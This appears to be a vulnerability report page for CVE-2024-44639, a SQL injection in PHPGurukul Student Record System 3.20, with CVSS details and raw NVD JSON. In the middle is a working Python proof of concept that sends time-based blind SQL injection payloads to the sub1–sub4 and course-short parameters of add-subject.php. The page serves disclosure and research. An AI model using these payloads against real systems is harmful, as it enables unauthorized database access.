Security Vulnerability Report
中文
CVE-2024-44639 CVSS 6.5 MEDIUM

CVE-2024-44639

Published: 2025-11-14 16:15:48
Last Modified: 2025-11-17 18:21:55

Description

PHPGurukul Student Record System 3.20 is vulnerable to SQL Injection via the sub1, sub2, sub3, sub4, and course-short parameters in add-subject.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Student Record System 3.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44639 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Vulnerable Parameter: sub1, sub2, sub3, sub4, course-short in add-subject.php def sql_injection_test(target_url): """ Test for SQL injection vulnerability in add-subject.php """ # Vulnerable endpoint endpoint = f"{target_url}/add-subject.php" # SQL Injection payloads for different parameters payloads = { 'sub1': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'sub2': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'sub3': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'sub4': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'course-short': "TS' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1" } # Normal POST data data = { 'submit': '1' } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerable endpoint: {endpoint}") for param, payload in payloads.items(): print(f"\n[*] Testing parameter: {param}") test_data = data.copy() test_data[param] = payload try: response = requests.post(endpoint, data=test_data, timeout=10) print(f"[+] Payload sent: {payload}") print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Time-based SQL injection confirmed for parameter: {param}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/student-record-system") sys.exit(1) target = sys.argv[1].rstrip('/') sql_injection_test(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44639", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:48.233", "lastModified": "2025-11-17T18:21:54.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Student Record System 3.20 is vulnerable to SQL Injection via the sub1, sub2, sub3, sub4, and course-short parameters in add-subject.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:*", "matchCriteriaId": "3BE56291-1C2E-4DFB-84CB-1C130EBA0DE2"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44639.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/student-record-system-php", "source": "[email protected]", "tags": ["Product"]}]}}